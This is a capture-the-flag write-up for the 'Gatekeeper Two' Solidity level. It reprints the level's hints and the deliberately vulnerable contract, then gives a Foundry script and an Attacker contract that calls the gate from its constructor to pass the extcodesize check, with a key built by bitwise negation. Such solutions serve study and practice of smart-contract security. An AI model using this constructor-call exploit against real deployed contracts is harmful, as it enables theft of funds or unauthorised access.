Gatekeeper Two

Gatekeeper Two

This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.

Things that might help:

  • Remember what you’ve learned from getting past the first gatekeeper - the first gate is the same.
  • The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See here for more information. The extcodesize call in this gate will get the size of a contract’s code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
  • The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

Evm op codes: https://www.evm.codes/?fork=shanghai

Solution:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "forge-std/console.sol";

import {Attacker,GatekeeperTwo} from "../src/14.sol";

contract POC is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        address addr = vm.envAddress("INSTANCE_14");

        vm.startBroadcast(deployerPrivateKey);
        GatekeeperTwo gate = GatekeeperTwo(addr);
        new Attacker(address(gate));
        vm.stopBroadcast();

    }
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/console.sol";

interface GatekeeperTwo {
  function enter(bytes8 _gateKey) external returns (bool);
}

contract Attacker {
  GatekeeperTwo gatekeeper;

  constructor(address _gatekeeper) {
    gatekeeper = GatekeeperTwo(_gatekeeper);
    bytes8 value = bytes8(keccak256(abi.encodePacked(address(this))));
    bytes8 gateKey = ~value; 
    // gateKey ^ value == type(uint64).max
    gatekeeper.enter(gateKey);
  }
}